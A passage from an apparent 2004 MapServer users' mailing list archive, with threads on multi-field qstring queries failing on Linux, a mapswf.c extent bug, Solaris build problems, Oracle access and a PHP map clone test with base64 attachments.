LAYER > NAME 'catasto' > TYPE Polygon > STATUS ON > DATA 'lotti' > # TEMPLATE index_basso.phtml > LABELITEM 'PART_N' > MAXSCALE 25000 > CLASS > Name 'catasto' > LABEL > TYPE TRUETYPE > FONT time > BUFFER 3 > COLOR 255 0 0 > POSITION CC > SIZE 8 > END > OUTLINECOLOR 100 255 000 > END # CLASS > END # LAYER > > ###### LAYER F O G L I ######## > LAYER > NAME "fogli" > TYPE Polygon > STATUS ON > DATA "fogli" > LABELITEM 'FOGLIO_N' > TEMPLATE header_1024.html > CLASS > Name 'foglio' > TEXT (Foglio [FOGLIO_N]) > LABEL > TYPE TRUETYPE > FONT time > BUFFER 1 > COLOR 0 0 0 > POSITION auto > SIZE 10 > END > OUTLINECOLOR 255 255 255 > END # CLASS > END # LAYER fogli > > END > ---------------------------------- > End of map file > ---------------------------------- > > Steve Lime wrote: > >>Are you escaping the value ('[PART_N]' IN '556,557' AND '[ID_N]' IN >>'24') properly? Spaces aren't allowed and should be replaced with either >>a + or a %20. We should still track down the source of the error though, >>error 500's are never good. >> >>Steve >> >> >>Stephen Lime >>Data & Applications Manager >> >>Minnesota DNR >>500 Lafayette Road >>St. Paul, MN 55155 >>651-297-2937 >> >> >> >>>>>Roger Boily 2/3/2004 6:33:11 AM >>> >>>>> >>>>> >>Hi, >> >>On a cgi url I've tried to query on multiple fields with this: >>NB: for easy reading space and " are normals but I used %20(space) and >> >>%27(') >>&qstring=('[PART_N]' IN '556,557' AND '[ID_N]' IN '24') >>it works perfectly on windows Mapserver 4.0.1 >> >>But I receive error 500 from Apache on linux: (Premature end of script >> >>headers: mapserv) >>&qitem=PART_N&qstring=556 works fine on linux >>but I receive the same error with: >>&qstring=('[PART_N]' IN '556') >> >>Is there anyone who has any idea? >> >>Is there a way to make multiple fileds query with qitem and qstring? >> >>Thanks a lot >> >>Roger >> >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users@lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> --------------030003020204010206030007 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hi to all,
after hundred of tests, I've found the hic..
When using the qstring argument in the format <'[FIELD]'=value>, on MapServer running on Windows,
you do not need to add the qitem argument (as read somewhere...), but you need it on a Linux machine....
So the failing link will become:
http://213.45.107.14/cgi-bin/mapserv?&map=/var/www/html/sittel/procida/urbis.map&layer=fogli&mapext=shapes&mode=itemnquery&qlayer=fogli&qitem=FOGLIO_N&qstring=('[FOGLIO_N]'%20IN%20'10')

Thanks to all
Roger


Roger Boily wrote:
Hi Stephen,
Thanks for answering. Yes, I've escaped the spaces with %20 and tried to escape ' with %27 too.
No way to make it run. I had it working for one year with MapServer 3.6 (both Linux and Win) and it works
fine also with the qstring modifications on MapServer 4.0 for Windows, but I can't figure out where is
the problem with Linux (tested on two servers). Even the simple &qstring=('[PART_N]' IN '556') does not
work. It works fine with &qitem=PART_N&qstring=556 .
To help you in helping me :-), I have made an example on my local testing server:
The first url works properly and the second one fails.
http://213.45.107.14/cgi-bin/mapserv?&map=/var/www/html/sittel/procida/urbis.map&layer=fogli&mapext=shapes&mode=itemnquery&qlayer=fogli&qitem=FOGLIO_N&qstring=10
http://213.45.107.14/cgi-bin/mapserv?&map=/var/www/html/sittel/procida/urbis.map&layer=fogli&mapext=shapes&mode=itemnquery&qlayer=fogli&qstring=([FOGLIO_N]'%20IN%20'10')
I attach also the map file.
I need the second one to work because I have to query two fields at once.
ex: FOGLIO_N = 10 AND PART_N = 254

Thanks in advance, Roger

----------------------------
MAP FILE: urbis.map
----------------------------
NAME urbis
STATUS ON
SIZE 650 400
EXTENT 475.66 2404.5 5974.34 6239.61
UNITS meters
SHAPEPATH "data"
IMAGETYPE PNG
IMAGECOLOR 153 153 153
TRANSPARENT ON
FONTSET "/var/www/html/sittel/procida/font/fonts.txt"

WEB
  TEMPLATE header_1024.html
  IMAGEPATH '/var/www/html/tmp/'
  IMAGEURL '/tmp/'
  MINSCALE 100
END  #WEB

QUERYMAP
  STATUS ON
  STYLE HILITE
  COLOR 255 255 0  # highlight color is yellow
END

###### LAYER C A T A S T O ###########
LAYER
  NAME 'catasto'
  TYPE Polygon
  STATUS ON
  DATA 'lotti'
#  TEMPLATE index_basso.phtml
  LABELITEM 'PART_N'
  MAXSCALE 25000
  CLASS
    Name 'catasto'
    LABEL
      TYPE TRUETYPE
      FONT time
      BUFFER 3
      COLOR 255 0 0
      POSITION CC
      SIZE 8
    END
    OUTLINECOLOR 100 255 000
  END  # CLASS
END  # LAYER

######  LAYER   F O G L I  ########
LAYER
  NAME "fogli"
  TYPE Polygon
  STATUS ON
  DATA "fogli"
  LABELITEM 'FOGLIO_N'
  TEMPLATE header_1024.html
  CLASS
    Name 'foglio'
    TEXT (Foglio [FOGLIO_N])
    LABEL
      TYPE TRUETYPE
      FONT time
      BUFFER 1
      COLOR 0 0 0
      POSITION auto
      SIZE 10
    END
    OUTLINECOLOR 255 255 255
  END  # CLASS
END  # LAYER fogli

END
----------------------------------
End of map file
----------------------------------

Steve Lime wrote:
Are you escaping the value ('[PART_N]' IN '556,557' AND '[ID_N]' IN
'24') properly? Spaces aren't allowed and should be replaced with either
a + or a %20. We should still track down the source of the error though,
error 500's are never good.

Steve


Stephen Lime
Data & Applications Manager

Minnesota DNR
500 Lafayette Road
St. Paul, MN 55155
651-297-2937

  
Roger Boily <boily@bsw.org> 2/3/2004 6:33:11 AM >>>
        
Hi,

On a cgi url I've tried to query on multiple fields with this:
NB: for easy reading space and " are normals but I used %20(space) and

%27(')
&qstring=('[PART_N]' IN '556,557' AND '[ID_N]' IN '24')
it works perfectly on windows Mapserver 4.0.1

But I receive error 500 from Apache on linux: (Premature end of script

headers: mapserv)
&qitem=PART_N&qstring=556 works fine on linux
but I receive the same error with:
&qstring=('[PART_N]' IN '556')

Is there anyone who has any idea?

Is there a way to make multiple fileds query with qitem and qstring?

Thanks a lot

Roger


_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
--------------030003020204010206030007-- From ms57@streamyx.com Wed Feb 4 09:26:59 2004 From: ms57@streamyx.com (Steve McCrone) Date: Wed, 04 Feb 2004 17:26:59 +0800 Subject: [Mapserver-users] retain button state Message-ID: <001001c3eb01$0be9c430$4d385edb@steve> I am using jBox and I wish to retain which button was enabled after form submit. As you can see from below I have placed some GIFs on my page and then use some javascript functions to produce the effect of a typical GIS applciation where one tool is enabled. However, when the user zooms in and the form gets submitted, then I wish to keep the zoomin tool enabled (i.e.place the /graphics/ZoomInDown.gif) and enable the zoomin functionality, as done in the cse statement. This is more of a pure javascript issue, but since I'm no expert in js, thought i would ask to see if anyone can piece together my caode to make it work. Thanks, Steve file://demo.html Zoom In Zoom Out file://toolbar.js var NN3 = false; file://==tools=== image1 = new Image(); image1.src = "/graphics/ZoomInUp.gif"; image1on = new Image(); image1on.src = "/graphics/ZoomInDown.gif"; image2 = new Image(); image2.src = "/graphics/ZoomOutUp.gif"; image2on = new Image(); image2on.src = "/graphics/ZoomOutDown.gif"; function on3(name) { document[name].src = eval(name + "on.src"); } function clearimg(){ document.image1.src = image1.src document.image2.src = image2.src } NN3 = true; function on(name) { if (NN3) on3(name); switch(name){ case "image1"://Zoom In document.mapserv.mode.value = "browse"; document.mapserv.zoomdir.value = 1; document.jBox.boxon(); break; case "image2"://Zoom Out document.mapserv.mode.value = "browse"; document.mapserv.zoomdir.value = -1; document.jBox.boxoff(); break; } } From raz@no-log.org Wed Feb 4 13:40:55 2004 From: raz@no-log.org (raz) Date: Wed, 04 Feb 2004 14:40:55 +0100 Subject: [Mapserver-users] mapswf.c extent problem Message-ID: <1075902055.14430.43.camel@atchoum> Hi everyone I have set up mapserver to be used with php and ming. This is my first post in this list. I am trying to write a web application with a flash interface that handles GIS data. I compiled php-4.3.4 and mapserver-4.0.1 with ming-0.3a. I must say it works great but I noticed 2 problems. The first thing is about the file mapswf.c. From line 2614, you can find this code : sprintf(szAction, "mapObj.extent=\"%f,%f,%f,%f\";", image->img.swf->map->extent.minx, image->img.swf->map->extent.maxx, image->img.swf->map->extent.maxx, image->img.swf->map->extent.maxy); oAction = compileSWFActionCode(szAction); SWFMovie_add(image->img.swf->sMainMovie, oAction); As you can see, extent.maxx appears twice and extent.miny does not appear at all. I guess it is a minor bug and I can change it myself but I thought I should tell you. The second thing is about raster handling in SWF output. To compile mapserver with ming-0.3a, mapswf.c needs to be modified a little bit as the SWFMovie_save function needs to be passed three parameters instead of two. I just add 0 (zero) as the third parameter and mapserver compiles without any problem. Now the application can handle all types of layer except one. If the map does not include a raster layer everything works fine. But if I add a raster layer, the map is empty with a flash 6 client but shows every layer expected (including the raster) with flash 7 client. I don't know where the problem comes from but I managed, many weeks ago, to make it work without any flash client version compatibility problem. I kept this precious php_mapscript.so version but I cannot remember the compilation options or the libraries versions I used that day. Now each time I try to compile from recent releases, I have this flash client version compatibility problem. I thought I should report about the first bug and ask to see if anyone knows how to resolve the flash client version compatibility second bug. Thanks, Raz. -- . Ramzi Oueslati . Tout GNU et tout bronzé From dmorissette@dmsolutions.ca Wed Feb 4 14:18:41 2004 From: dmorissette@dmsolutions.ca (Daniel Morissette) Date: Wed, 04 Feb 2004 09:18:41 -0500 Subject: [Mapserver-users] Too hard, too easy or too boring? In-Reply-To: <2CB3E50E-56AF-11D8-A555-000393D33C2E@refractions.net> References: <2CB3E50E-56AF-11D8-A555-000393D33C2E@refractions.net> Message-ID: <4020FF41.1090908@dmsolutions.ca> Paul Ramsey wrote: > > If Steve or the folks from DM would like access to a Solaris box for > testing, I can arrange one. > Actually, we do have a Solaris box on which we build MapServer and all its support libs and I never saw this error message before. I haven't tried MapServer 4.1 yet, but MapServer 4.0 used to build fine for us on Solaris, so I'm not sure what to suggest. Perhaps making sure Keith uses the GNU suite of tools instead of the Solaris compiler/linker? Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette@dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From mweinelt@planiglobe.com Wed Feb 4 15:11:26 2004 From: mweinelt@planiglobe.com (Martin Weinelt) Date: Wed, 4 Feb 2004 16:11:26 +0100 Subject: [Mapserver-users] Too hard, too easy or too boring? In-Reply-To: <40202B55.5070602@supanet.com> References: <40202B55.5070602@supanet.com> Message-ID: <200402041611.26097.mweinelt@planiglobe.com> On Wednesday 04 February 2004 00:14, Keith Campbell wrote: > OK, just trying to get your attention. I posted this yesterday under a > different title and got no responses. > > Here's the problem. I'm trying to compila an install a WFS Server > enabled Mapserver on a Solaris (this is proving to be a very frustrating > experience, no doubt partly due to my lack of knowledge of UNIX). I > think I've got all the libraries installed that I need, even though they > are in non-standard locations (it's not my server). The configure script > runs to completion and only seems to complain once:- > > checking for httpd... /export/home/local/apache2/bin/httpd > awk: syntax error near line 1 > awk: bailing out near line 1 > awk: syntax error near line 1 > awk: bailing out near line 1 > /export/home/local/apache2/bin/httpd version is Apache/2.0.45 (). > > Not sure what this means or what the implications are. > > Anyway, this is what I fed into the configure:- > > bash$ ./configure --with-jpeg=/export/home/local/util/jpeg > --with-freetype=/exp > ort/home/local/util/freetype --with-zlib=/export/home/local/util/zlib > --with-pn > g=/export/home/local/util/libpng > --with-libiconv=/export/home/local/util/libico > nv --with-gd=/export/home/local/util/gd-2.0.15 > --with-proj=/export/home/local/u > til/proj --with-ogr=/export/home/local/util/gdal/apps/gdal-config > --with-gdal= > /export/home/local/util/gdal/apps/gdal-config --with-wfs --with-postgis > > The make process ran for some time before spitting this out:- > > ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): > symbol own>: offset 0xfd6609c9 is non-aligned > ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): > symbol own>: offset 0xfd660a09 is non-aligned > ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): > symbol own>: offset 0xfd660a69 is non-aligned > ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): > symbol own>: offset 0xfd660c29 is non-aligned > collect2: ld returned 1 exit status > make: *** [shp2img] Error 1 > > I can't find anything in the archives that points to the cause of this. > Can anybody help? Been through a similar nightmare three month ago. Did not put it in the archives or wiki because I am still not sure what went on ... Some of the newer versions of the supporting packages (libpng, gdal,..) have their own '*-config' script under /somewhere/local/bin. I gave the path to these scripts as an argument for the mapserver configure options instaed of the paths to the actual libraries. Moreover I was told by somebody that the linker (was it the compiler ...?) looks under /usr and /usr/local in the first place anyways and might pick the wrong libs if it finds them there, despite your environment during build time ... (I tried to exclude /usr and /usr/local during 'make') . This caused problems with an older version of PNG at the usual place and the really needed version at my 'private' place. It was Solaris 9 and mapserver and the proper libs in non-standard directories. Besides the measures laid down in the docs for solaris build I finally ended up editing the Makefile after 'configure' wiht explicit paths for every package that reported problems during run-time of mapserver. For instance: GD_LIB= -L/my/path/local/lib -lgd or TIFF_LIB= -L/my/path/local/lib -ltiff or PROJ_INC= -I/my/path/local/include PROJ_LIB= -L/my/path/local/lib -lproj Dunno if this is of any value, but might provoke more usefull comments from talented people ... Martin PS: Then I found out that my mapfile missed the NAME keyword for some LAYERs (which are referenced by the GROUP keyword). Thsi worked perfectly with my linux box but NOT AT ALL with the solaris installation . Ceterum censeo: check your mapfile carefully when running into problems with 'premature end of script ' errors (mapser cgi). From jnielsen@aero-graphics.com Wed Feb 4 15:26:40 2004 From: jnielsen@aero-graphics.com (Jason M. Nielsen) Date: Wed, 4 Feb 2004 08:26:40 -0700 Subject: [Mapserver-users] retain button state In-Reply-To: <001001c3eb01$0be9c430$4d385edb@steve> References: <001001c3eb01$0be9c430$4d385edb@steve> Message-ID: <1075908400.40210f30e99af@www.agi-lan.com> Quoting Steve McCrone : > I am using jBox and I wish to retain which button was enabled after form > submit. As you can see from below I have placed some GIFs on my page and > then use some javascript functions to produce the effect of a typical GIS > applciation where one tool is enabled. > > However, when the user zooms in and the form gets submitted, then I wish to > keep the zoomin tool enabled (i.e.place the /graphics/ZoomInDown.gif) and > enable the zoomin functionality, as done in the cse statement. This is more > of a pure javascript issue, but since I'm no expert in js, thought i would > ask to see if anyone can piece together my caode to make it work. > > Thanks, > > Steve > > file://demo.html > onmouseup="on('image1');"> alt="Zoom In" name="image1" width="23" height="20"> > onmouseup="on('image2');"> alt="Zoom Out" name="image2" width="23" height="20"> > > > file://toolbar.js > var NN3 = false; > file://==tools=== > image1 = new Image(); > image1.src = "/graphics/ZoomInUp.gif"; > image1on = new Image(); > image1on.src = "/graphics/ZoomInDown.gif"; > > image2 = new Image(); > image2.src = "/graphics/ZoomOutUp.gif"; > image2on = new Image(); > image2on.src = "/graphics/ZoomOutDown.gif"; > > function on3(name) { > document[name].src = eval(name + "on.src"); > } > > function clearimg(){ > document.image1.src = image1.src > document.image2.src = image2.src > } > > > NN3 = true; > function on(name) { > if (NN3) on3(name); > switch(name){ > case "image1"://Zoom In > document.mapserv.mode.value = "browse"; > document.mapserv.zoomdir.value = 1; > document.jBox.boxon(); > break; > case "image2"://Zoom Out > document.mapserv.mode.value = "browse"; > document.mapserv.zoomdir.value = -1; > document.jBox.boxoff(); > break; > } > } Can you pass the states to the page? ie: Pass mode=map activebutton=zoomin etc. Or perhaps use DIV tags, display your map within them and only update their source. This is what is done in the "workshop" tutorial/example using dbox. ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From wim.blanken@planet.nl Wed Feb 4 16:03:48 2004 From: wim.blanken@planet.nl (Wim Blanken (PI)) Date: Wed, 04 Feb 2004 17:03:48 +0100 Subject: [Mapserver-users] retain button state References: <001001c3eb01$0be9c430$4d385edb@steve> Message-ID: <009d01c3eb38$8ac15d90$6400a8c0@BLANKEN> Hello Steve, We use frames to build a mapserver application. In the controlcentre.htm file (which is the template we use) we keep a variable we name activetool. Then in the tools section the value of the activetool variable is used to determine which button was pressed before a submit action was completed..... So if the button zoomin is used the activetool is set to zoomin. Then after a submit we rebuild the toolbox and determine what the value is of activetool. If it is zoomin then the button is activated...... Regards, Wim Blanken The Netherlands From assefa@dmsolutions.ca Wed Feb 4 16:03:35 2004 From: assefa@dmsolutions.ca (Yewondwossen Assefa) Date: Wed, 04 Feb 2004 11:03:35 -0500 Subject: [Mapserver-users] mapswf.c extent problem In-Reply-To: <1075902055.14430.43.camel@atchoum> References: <1075902055.14430.43.camel@atchoum> Message-ID: <402117D7.4010200@dmsolutions.ca> Hi There, Thanks for reporting the bug. It is now fixed in Mapserver cvs version. As for the sencond problem, I have not actually upgraded my lib to 0.3 and still using 0.2. I will try to do an upgrade and see the results. Later, raz wrote: > Hi everyone > > I have set up mapserver to be used with php and ming. This is my first > post in this list. > > I am trying to write a web application with a flash interface that > handles GIS data. I compiled php-4.3.4 and mapserver-4.0.1 with > ming-0.3a. I must say it works great but I noticed 2 problems. > > The first thing is about the file mapswf.c. From line 2614, you can find > this code : > > sprintf(szAction, "mapObj.extent=\"%f,%f,%f,%f\";", > image->img.swf->map->extent.minx, > image->img.swf->map->extent.maxx, > image->img.swf->map->extent.maxx, > image->img.swf->map->extent.maxy); > oAction = compileSWFActionCode(szAction); > SWFMovie_add(image->img.swf->sMainMovie, oAction); > > As you can see, extent.maxx appears twice and extent.miny does not > appear at all. I guess it is a minor bug and I can change it myself but > I thought I should tell you. > > The second thing is about raster handling in SWF output. To compile > mapserver with ming-0.3a, mapswf.c needs to be modified a little bit as > the SWFMovie_save function needs to be passed three parameters instead > of two. I just add 0 (zero) as the third parameter and mapserver > compiles without any problem. > > Now the application can handle all types of layer except one. If the map > does not include a raster layer everything works fine. But if I add a > raster layer, the map is empty with a flash 6 client but shows every > layer expected (including the raster) with flash 7 client. > > I don't know where the problem comes from but I managed, many weeks ago, > to make it work without any flash client version compatibility problem. > I kept this precious php_mapscript.so version but I cannot remember the > compilation options or the libraries versions I used that day. Now each > time I try to compile from recent releases, I have this flash client > version compatibility problem. > > I thought I should report about the first bug and ask to see if anyone > knows how to resolve the flash client version compatibility second bug. > > Thanks, > > Raz. -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa@dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From jlcardilli@yahoo.com.ar Wed Feb 4 16:17:53 2004 From: jlcardilli@yahoo.com.ar (=?iso-8859-1?q?Cardilli=20Jose=20Luis?=) Date: Wed, 4 Feb 2004 13:17:53 -0300 (ART) Subject: [Mapserver-users] Oracle 9i SC Message-ID: <20040204161753.97880.qmail@web10103.mail.yahoo.com> Hi, May I need arcSDE for working with oracle 9i? ------------ Los mejores usados y las más tentadoras ofertas de 0km están en Yahoo! Autos. Comprá o vendé tu auto en http://autos.yahoo.com.ar From jnielsen@aero-graphics.com Wed Feb 4 16:33:02 2004 From: jnielsen@aero-graphics.com (Jason M. Nielsen) Date: Wed, 4 Feb 2004 09:33:02 -0700 Subject: [Mapserver-users] Mapserver hardware recomendations. Message-ID: <1075912381.40211ebe001dc@www.agi-lan.com> We are planning to put a mapserver together for both external and internal use. The data will primarily be composed of rasters. Most of these rasters will more than likely be 24bit TIFF and JPEG. The raster data alone I think will start at around 400Gigabytes and could quite possibly grow. Vector data could potentially become substantial much later on but for the next couple years I do not see it growing beyond 50-100MB. Im hoping to increase the speed of the setup through the usual means such as min/max scale displays, tiled imagery, reduced colors(if possible), pyramids/rrds and of course trying to optimize the core imagery resolution for the application. I dont expect the traffic on this site to be too combersome. Perhaps no more than a few hundred hits a day at most and probably no more than ten connections at a time. I was thinking 1GB of ram, P4 2.8-3.0 or athlon-64, ata-100 main drives (one for OS and software other for swap etc) with the data sitting on a ata raid5 that interfaces to the machine via at least a SCSI U160 interface or perhaps firewire. I will probably put 3 main drives in it. 2 will be the OS/software and mirrored. 3 will be swap. All of this I plan to be running under either Redhat 9.0 or Fedora. Any recommendations on anything with regard to such a setup? Thanks, Jason. ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From bartvde@xs4all.nl Wed Feb 4 16:49:04 2004 From: bartvde@xs4all.nl (bartvde@xs4all.nl) Date: Wed, 4 Feb 2004 17:49:04 +0100 (CET) Subject: [Mapserver-users] Oracle 9i SC In-Reply-To: <20040204161753.97880.qmail@web10103.mail.yahoo.com> References: <20040204161753.97880.qmail@web10103.mail.yahoo.com> Message-ID: <14022.212.238.227.182.1075913344.squirrel@webmail.xs4all.nl> Hi, you can access Oracle 9i through Mapserver's native Oracle Spatial interface (or even through OGR). You do not need to go through ArcSDE for this with Mapserver (opposite to the ESRI software). Best regards, Bart > Hi, May I need arcSDE for working with oracle 9i? > > > ------------ > Los mejores usados y las más tentadoras > ofertas de 0km están en Yahoo! Autos. > Comprá o vendé tu auto en > http://autos.yahoo.com.ar > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From cpurvis@asg.sc.edu Wed Feb 4 17:04:39 2004 From: cpurvis@asg.sc.edu (Charlton Purvis) Date: Wed, 4 Feb 2004 12:04:39 -0500 Subject: [Mapserver-users] php clone() doesn't cut it Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C3EB40.F989BF9E Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Well, Sean, I'm a monkey's uncle. I created the attached example, and it seems to work fine. Don't know what I was smoking. But by running it from the command line, I do get an error: free(): invalid pointer 0x822b370! Maybe this was mucking up things when I ran it w/i my interface? Don't know. But everything is attached, if anyone is interested. Charlton ------_=_NextPart_001_01C3EB40.F989BF9E Content-Type: application/octet-stream; name="seacoos_obs.map" Content-Transfer-Encoding: base64 Content-Description: seacoos_obs.map Content-Disposition: attachment; filename="seacoos_obs.map" TUFQCiAgTkFNRSAicmFzdGVyIHRlc3QiCiAgU1RBVFVTIE9OCiAgRVhURU5UIC05MS41IDIyIC03 MS41IDM2LjUKICBTSVpFIDQ1NiAzODQKICBTSEFQRVBBVEggIi4iCiAgSU1BR0VUWVBFIFBORwog IFBST0pFQ1RJT04KICAgICJwcm9qPWxhdGxvbmciCiAgRU5ECiAgV0VCCiAgICBJTUFHRVBBVEgg Ii90bXAvbXNfdG1wLyIKICAgIElNQUdFVVJMICIvbXNfdG1wLyIKICBFTkQKICBMQVlFUgogICAg TkFNRSAiYm91bmRhcmllcyIKICAgIFNUQVRVUyBPTgogICAgREFUQSAiYm91bmRhcmllcy5wbmci CiAgICBUWVBFIFJBU1RFUgogICAgVU5JVFMgTUVURVJTCiAgRU5ECkVORAo= ------_=_NextPart_001_01C3EB40.F989BF9E Content-Type: application/octet-stream; name="test_clone.php" Content-Transfer-Encoding: base64 Content-Description: test_clone.php Content-Disposition: attachment; filename="test_clone.php" PD9waHAKICBkbCgncGhwX21hcHNjcmlwdC5zbycpOwoKICBmdW5jdGlvbiBjbG9uZV9hbmRfZHJh dyAoJG9NYXApIHsKICAgIC8vIGNsb25lIHRoZSBtYXAKICAgICRjbG9uZU1hcCA9ICRvTWFwLT5j bG9uZSgpOwoKICAgIC8vIG1vZGlmeSB0aGUgZmlyc3QgbGF5ZXIKICAgICRjbG9uZUxheWVyID0g JGNsb25lTWFwLT5nZXRMYXllcigwKTsKICAgICRjbG9uZUxheWVyLT5zZXQoJ3N0YXR1cycsTVNf T0ZGKTsKCiAgICAvLyBkcmF3IHRoZSBjbG9uZSBtYXAgCiAgICAkaW1hZ2UgPSAkY2xvbmVNYXAt PmRyYXcoKTsKICAgICRpbWFnZV9wYXRoID0gJy4vY2xvbmVfcmFzdGVyLnBuZyc7CiAgICBlY2hv ICRpbWFnZV9wYXRoLiIgZG9uZVxuIjsKICAgICRpbWFnZS0+c2F2ZUltYWdlKCRpbWFnZV9wYXRo KTsKICB9CgogIC8vIGxvYWQgdGhlIG1hcAogICRtYXBPYmogPSBtc19uZXdNYXBPYmooInNlYWNv b3Nfb2JzLm1hcCIpOwoKICAvLyBkcmF3IHRoZSBtYXAgKGZpcnN0IGxheWVyIGRlZmluZWQgYXMg U1RBVFVTIE9OKQogICRpbWFnZSA9ICRtYXBPYmotPmRyYXcoKTsKICAkaW1hZ2VfcGF0aCA9ICcu L29yaWdpbmFsX3Jhc3Rlci5wbmcnOwogIGVjaG8gJGltYWdlX3BhdGguIiBkb25lXG4iOwogICRp bWFnZS0+c2F2ZUltYWdlKCRpbWFnZV9wYXRoKTsKCiAgLy8gY2xvbmUsIG1vZGlmeSwgYW5kIGRy YXcgCiAgY2xvbmVfYW5kX2RyYXcoJG1hcE9iaik7CgogIC8vIG5vdyBkcmF3IHRoZSBvcmlnaW5h bCBtYXAgYWdhaW4KICAkaW1hZ2UgPSAkbWFwT2JqLT5kcmF3KCk7CiAgJGltYWdlX3BhdGggPSAn Li9vcmlnaW5hbF9yYXN0ZXJfYWdhaW4ucG5nJzsKICBlY2hvICRpbWFnZV9wYXRoLiIgZG9uZVxu IjsKICAkaW1hZ2UtPnNhdmVJbWFnZSgkaW1hZ2VfcGF0aCk7Cj8+Cg== ------_=_NextPart_001_01C3EB40.F989BF9E Content-Type: image/png; name="boundaries.png" Content-Transfer-Encoding: base64 Content-Description: boundaries.png Content-Disposition: attachment; filename="boundaries.png" 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 